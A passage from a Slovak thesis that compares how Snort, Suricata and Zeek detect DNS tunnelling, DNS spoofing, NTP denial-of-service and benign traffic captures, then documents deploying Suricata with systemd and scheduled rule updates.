nikácia ukryje do rozš́ıreného protokolu DNS, ktorý slúži na iné účely a tak
je t’ažšie detekovatel’ná. pcap súbor je dostupný na internete46.

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.

Suricata

Suricata vôbec nedetekovala tento útok, preto má 0%.

Zeek

Zeek zachytil tento útok viacerými dns udalost’ami. Z DNS požiadaviek v tomto
logu je evidentné, že obsahujú netradičné dáta. Vd’aka tomu môže admi-
nistrátor vel’mi jednoducho usúdit’ o aký útok sa jedná. Preto dostane 100%.
Ukážka z logu dns.log:

# src.ip src.p dst.ip dst.p
10.0.2.30 44639 10.0.2.20 53

# query
rcyady\xc6\xea\xd4rv\xc8\xe3y\xd7s\xd4rv\xc8\xe3y\xd7s...

4.9.2 Spoofing

DNS spoofing je útok, ktorý spôsobuje vrátenie nesprávnej IP adresy v od-
povedi na DNS požiadavku. To spôsob́ı, že obet’ je nasmerovaná na poč́ıtač
útočńıka bez toho, aby o tom vedela. pcap súbor je dostupný na internete47.

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.
46https://github.com/elastic/examples/blob/master/Security%20Analytics/dns_

tunnel_detection/dns-tunnel-iodine.pcap
47https://github.com/waytoalpit/ManOnTheSideAttack-DNS-Spoofing/blob/master/

capture.pcap
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Suricata

Suricata vôbec nedetekovala tento útok, preto má 0%.

Zeek

Zeek zachytil tento útok vo viacerých udalostiach, avšak pre administrátora
je takmer nemožné ho identifikovat’. Preto dostane 0%.

4.10 NTP

Tento útok je typ DoS útoku, ktorý využ́ıva chybu v NTP programe a spôsobuje
vyčerpanie prostriedkov na ciel’ovom hostovi. Viac informácíı o tomto útoku
je tu [46]. pcap súbor je dostupný na internete48.

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.

Suricata

Suricata zachytila tento útok čiastočne. Vyṕısala niekol’ko záznamov do logu
a nedá sa z nich s istotou určit’, o aký útok sa jedná. Preto dostane 50%.
Ukážka z logu:

NTP malformed response data
NTP malformed request data

Zeek

Zeek vôbec nedetekoval tento útok, preto má 0%.

4.11 Bežná siet’ová prevádzka

Okrem útokov boli NIDS riešeniami analyzované aj vzorky bežnej siet’ovej
prevádzky. Ani jedna z nich neobsahuje nebezpečné aktivity alebo hrozby.

Tabul’ka 4.1 zobrazuje zoznam testovaných vzoriek a výsledky ich analýzy
NIDS systémami. Č́ıslo 1 znamená, že vzorka podl’a daného NIDS obsahuje
podozrivú aktivitu a č́ıslo 0 znamená, že takáto aktivita nebola detekovaná.

48http://www.pcapr.net/view/todb/2009/11/3/12/ntp_single_byte_dos.pcap.html

53

http://www.pcapr.net/view/todb/2009/11/3/12/ntp_single_byte_dos.pcap.html


4. Testovanie NIDS

Tabul’ka 4.1: Analýza bežnej siet’ovej prevádzky.

Názov Snort Suricata Zeek
Verejná prevádzka I 0 0 0
Verejná prevádzka II 1 1 1
Interná prevádzka I 0 0 0
Interná prevádzka II 0 0 0
reactor2 [47] 1 0 0
browsing [47] 0 0 0
2019 03 19 173855 [47] 1 1 1
tcp trace [47] 0 0 0
fortworth1-500 [47] 1 1 1
Git Partial Traffic [47] 0 0 0
2015 11 20 235756 [47] 1 0 0
Test [47] 1 0 1
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Kapitola 5
Vyhodnotenie a nasadenie

najvhodneǰsieho NIDS

V tejto kapitole bude zhrnuté hodnotenie a testovanie vybraných NIDS riešeńı,
ktorým sa zaoberali predchádzajúce kapitoly. Na základe toho bude jednot-
livým riešeniam udelené celkové hodnotenie, vd’aka ktorému bude vybrané
najlepšie z nich. To bude následne nakonfigurované a nasadené v infraštruktúre
firmy. Na záver bude podrobené testovaniu, aby sa overila jeho funkčnost’
a správnost’ konfigurácie.

5.1 Vyhodnotenie vybraných NIDS riešeńı

V predchádzajúcej kapitole boli NIDS riešenia podrobené testovaniu vo via-
cerých scenároch, ktoré zahŕňali rôzne útoky aj bežnú prevádzku. Teraz je
na základe tohto testovania vyhodnotená úspešnost’ ich detekcie. Tá je vypoč́ı-
taná ako aritmetický priemer čiastkových úspešnost́ı v každom teste. V ta-
bul’ke 5.1 je reprezentovaná kritériom použitel’nosti.

Hodnotenie vo všetkých stanovených kategóriách je zobrazené v tabul’ke
5.1. Celkové dosiahnuté hodnotenie sa nachádza v st́lpci so symbolom

∑
a je

vypoč́ıtané podl’a vzorca 2.2 na strane 21. Podl’a tohto hodnotenia, defino-
vaných kritéríı a úspešnosti v testovańı je jednoznačne najlepšie NIDS riešenie
Suricata, ktorá bude nasadená vo firemnej infraštruktúre.

Tabul’ka 5.1: Kompletné hodnotenie vybraných NIDS riešeńı.

Dokumentácia Údržba Vlastnosti Cena Použitel’nost’
∑

Snort 90% 85% 70% 90% 48% 68%
Suricata 90% 100% 100% 100% 66% 85%
Zeek 95% 70% 50% 75% 48% 60%

55



5. Vyhodnotenie a nasadenie najvhodnejšieho NIDS

Tabul’ka 5.2: Matica zámen pre Snort.

Snort Skutočnost’
1 0

Detekcia 1 12 6
0 10 6

Tabul’ka 5.3: Matica zámen pre Suricatu.

Suricata Skutočnost’
1 0

Detekcia 1 17 3
0 5 9

Tabul’ka 5.4: Matica zámen pre Zeek.

Zeek Skutočnost’
1 0

Detekcia 1 11 4
0 11 8

Pred samotným nasadeńım Suricaty budú ešte zhrnuté niektoré d’aľsie
zauj́ımavé informácie, ktoré so sebou testovanie prinieslo. V prvom rade sa
jedná o podrobneǰsie porovnanie úspešnost́ı detekcie jednotlivých riešeńı, ktoré
je prehl’adne zobrazené v tabul’kách mat́ıc zámen. Pre Snort je to tabul’ka 5.2,
pre Suricatu 5.3 a pre Zeek 5.4.

Riadok 1 označuje testy, v ktorých bol detekovaný útok. Za pozit́ıvnu de-
tekciu sa v tomto pŕıpade považuje akákol’vek forma reakcie zo strany NIDS,
teda aj čiastočná detekcia ohodnotená v teste na 50%. Riadok 0 znamená, že
v daných testoch nebol detekovaný žiadny útok. St́lpec s označeńım 1 pred-
stavuje testy, v ktorých útoky skutočne boli. St́lpec 0 zas predstavuje testy,
ktoré v skutočnosti neobsahovali útok.

Vd’aka tomu je možné vypoč́ıtat’ špecificitu a senzitivitu NIDS riešeńı.
Špecificita meria spol’ahlivost’ určenia skutočne neškodnej siet’ovej prevádzky.
Senzitivita meria spol’ahlivost’ detekcie skutočných útokov. Ich zhrnutie a po-
rovnanie ilustruje tabul’ka 5.5. Z toho vypýva, že Suricata dokáže najlepšie
detekovat’ útoky aj bežnú siet’ovú prevádzku.

Okrem toho je ešte zauj́ımavý fakt, že Snort a Suricata reagovali vo via-

Tabul’ka 5.5: Senzitivita a špecificita NIDS riešeńı.

Snort Suricata Zeek
Senzitivita 55% 77% 50%
Špecificita 50% 75% 67%
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cerých testoch vel’mi podobne, v niektorých pŕıpadoch dokonca identicky. A to
aj napriek tomu, že použ́ıvali rozdielne rulesety. Druhá zauj́ımavost’ je, že Zeek
dokázal zachytit’ niektoré druhy útokov lepšie než Snort a Suricata. Konkrétne
ide o bruteforce a DoS útoky, ktoré sú v jeho logoch jednoducho identifikova-
tel’né.

5.2 Produkčné nasadenie Suricaty

Prvý krok, ktorý je potrebné vykonat’ pred produkčným nasadeńım Suri-
caty, je zrkadlenie siet’ovej prevádzky z hlavného firemného firewallu, ktorý
je na rozhrańı medzi intranetom a internetom. Najprv je potrebné etherne-
tovým káblom prepojit’ firewall so serverom, na ktorom sa nachádza Suricata.
Potom sa muśı nakonfigurovat’ samotný firewall tak, aby zrkadlil prevádzku
na definovaný port. Konkrétna konfigurácia je však pre každý firewall odlǐsná,
a pre potreby tejto práce nie je podstatná.

Teraz sa môže upravit’ konfigurácia Suricaty v súbore suricata.yaml.
Najprv sa definuje premenná HOME NET tak, aby obsahovala interné IP ad-
resy. Ďalej sa definujú HTTP a SSH porty. Nakoniec sa namapujú operačné
systémy na IP adresy (alebo rozsahy) v sekcii host-os-policy. Tieto na-
stavenia zaist’ujú Suricate lepšiu presnost’ pri detekcii. Nasleduje otestovanie
konfigurácie a testovaćı beh:

suricata -T -c /etc/suricata/suricata.yaml -i eno1
suricata -c /etc/suricata/suricata.yaml -i eno1

V testovacom spusteńı sa oveŕı, že Suricata zapisuje do logovaćıch súborov
a všetko správne funguje.

Teraz je potrebné nastavit’ proces Suricaty tak, aby bežala na pozad́ı ako
systémový démon a automaticky sa spúšt’ala pri štarte OS. Ked’že Ubuntu
použ́ıva ako inicializačný proces systemd, bude vytvorená systémová služba
(angl. service) pre Suricatu, ktorá vyzerá nasledovne:

Ukážka 5.1: /etc/systemd/system/suricata.service
1 [Unit]
2 Description = Suricata Intrusion Detection System
3 After= network . target
4
5 [ Service ]
6 Type= forking
7 ExecStart =/ usr/bin/ suricata -D --pidfile /var/run/ suricata .pid -c

/etc/ suricata / suricata .yaml -i eno1
8 PIDFile =/ var/run/ suricata .pid
9

10 Restart = always
11 RestartSec =10s
12
13 [ Install ]
14 WantedBy =multi -user. target
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Viac informácíı o systemd a službách sa nachádza tu [48]. Tento súbor
je potrebné vytvorit’ v určitom adresári a následne reštartovat’ systemd, aby
nač́ıtal novú službu. Potom už stač́ı naštartovat’ démona Suricaty a zapnút’ jej
štart pri spusteńı OS:

systemctl daemon-reload
systemctl start suricata
systemctl enable suricata

Nakoniec by bolo vhodné, aby sa rulesety automaticky updatovali každý
deň a vd’aka tomu mohla Suricata detekovat’ najnovšie hrozby. To sa nastav́ı
pomocou pŕıkazu crontab -e, ktorý otvoŕı editor pravidelných úloh. Do edi-
tora sa vlož́ı riadok, ktorý zaist́ı, aby sa pravidlá updatovali každý deň o 6:22
ráno:

22 6 * * * suricata-update >/dev/null 2>&1

5.3 Testovanie

Testovanie produkčného nasadenia bude pozostávat’ z kontroly logov a mapo-
vania verejných serverov firmy nmapom.

Po niekol’kých hodinách od nasadenia sa v súbore stats.log nachádzajú
štatistiky analyzovanej prevádzky, ktoré obsahujú uptime, využitie pamäte,
počet analyzovaných paketov, rozdelenie paketov podl’a rozličných vlastnost́ı
a d’aľsie informácie.

V súbore fast.log sa nachádza niekol’ko záznamov, ktoré boli podrobené
bližšej manuálnej analýze a boli vyhodnotené ako neškodné. Aby sa d’alej
nevytvárali záznamy o tejto neškodnej komunikácii, je potrebné definovat’ nové
pravidlo, ktoré vyzerá nasledovne:

Ukážka 5.2: /var/lib/suricata/rules/local.rules
1 pass tcp 5.5.5.5 443 -> 192.168.0.5 any (msg :" Harmless traffic ";

sid :1;)

Ďalej je potrebné nastavit’ jeho nač́ıtanie v hlavnom konfiguračnom súbore
suricata.yaml v sekcii rule-files a reštartovat’ Suricatu, aby nač́ıtala novú
konfiguráciu. Vd’aka tomu sa už upozornenia nebudú d’alej zobrazovat’.

Po zmapovańı verejných serverov nmapom Suricata okamžite vytvorila
záznamy o podozrivej aktivite v logu fast.log, ktoré sú rovnaké ako v útoku
4.1.1 z prechádzajúcej kapitoly.
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Záver

V práci bola analyzovaná firemná siet’ z pohl’adu bezpečnosti. Vd’aka tomu boli
vybrané NIDS riešenia porovnané podl’a definovaných kritéríı. Rovnako boli
otestované voči rôzličným variantám útokov, ktoré sa môžu podl’a analýzy
v sieti objavit’. Jednotilvé NIDS riešenia boli podl’a reakcíı na tieto útoky,
a na vybrané vzorky siet’ovej prevádzky, ohodnotené a porovnané.

Na základe týchto výsledkov bolo potom zvolené najvyhovujúceǰsie z nich
– Suricata. Tá bola úspešne nasadená do infraštruktúry firmy. Na záver bola
otestovaná a vyladená jej funkčnost’, aby v daných podmienkach dokázala
dobre plnit’ svoju úlohu.

Výsledkom tejto práce je plne funkčné nasadenie Suricaty vo firemnej sieti,
čo by malo prispiet’ k zvýšeniu jej bezpečnosti. Rovnako by malo toto riešenie
pomôct’ znižovat’ škody spôsobené útočńıkmi a v ideálnom pŕıpadne im úplne
pred́ıst’.

Napriek úspešnému výberu a nasadeniu Suricaty vo firme ešte zostáva
niekol’ko većı, ktoré je možné vylepšit’, a ktoré sú mimo rozsah tejto práce.
V prvom rade je to vyladenie konfigurácie a generovania udalost́ı, čo môže
trvat’ aj niekol’ko týždňov až mesiacov, počas ktorých sa naplno ukáže povaha
a špecifiká firemnej siet’ovej prevádzky.

Ďalej to je inštalácia grafického už́ıvatel’ského rozhrania, čo zjednoduš́ı vy-
hodnocovanie dát, ktoré Suricata generuje. Nakoniec sa jedná o integráciu IPS
funkcionality do firemného firewallu, čo umožńı Suricate okamžite reagovat’
na nebezpečné udalosti v sieti.
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20.4.2019. Dostupné z: https://www.alienvault.com/blogs/security-
essentials/open-source-intrusion-detection-tools-a-quick-
overview

[25] Cisco Systems, Inc.: Snort - Network Intrusion Detection & Preven-
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stupné z: https://www.cvedetails.com/cve/CVE-2009-3563

[47] Mu Dynamics: Web 2.0 for packets — pcapr. [online] stav z dňa 28.4.2019.
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Dodatok A
Zoznam použitých skratiek

BSD Berkeley Software Distribution

CGI Common Gateway Interface

CIDR Classless Inter-Domain Routing

DNS Domain Name System

DoS Denial of service

FTP File Transfer Protocol

GUI Graphical User Interface

HIDS Host-based Intrusion Detection System

HTTP Hypertext Transfer Protocol

HTTPS Hypertext Transfer Protocol Secure

ICMP Internet Control Message Protocol

IDS Intrusion Detection System

IoT Internet of Things

IP Internet Protocol

IPS Intrusion Prevention System

ISO International Organization for Standardization

JSON JavaScript Object Notation

MAC Media Access Control

NIDS Network-based Intrusion Detection System
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A. Zoznam použitých skratiek

NTP Network Time Protocol

OSI Open Systems Interconnection

OS Operačný Systém

PHP Hypertext Preprocessor

RDP Remote Desktop

SMB Server Message Block

SNMP Simple Network Management Protocol

SSH Secure Shell

SSL Secure Sockets Layer

TCP Transmission Control Protocol

TLS Transport Layer Security

UDP User Datagram Protocol

VLAN Virtual Local Area Network

VNC Virtual Network Computing

VPN Virtual Private Network

VRT Vulnerability Research Team

YAML YAML Ain’t Markup Language
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Dodatok B
Obsah priloženého CD

readme.txt .................................. stručný popis obsahu CD
DP Gajdos Martin 2019.pdf................ text práce vo formáte PDF
thesis ......................... zdrojová forma práce vo formáte LATEX

img.........................................obrázky použité v práci
src..................................textové ukážky použité v práci

pcap..............................................pcap súbory útokov
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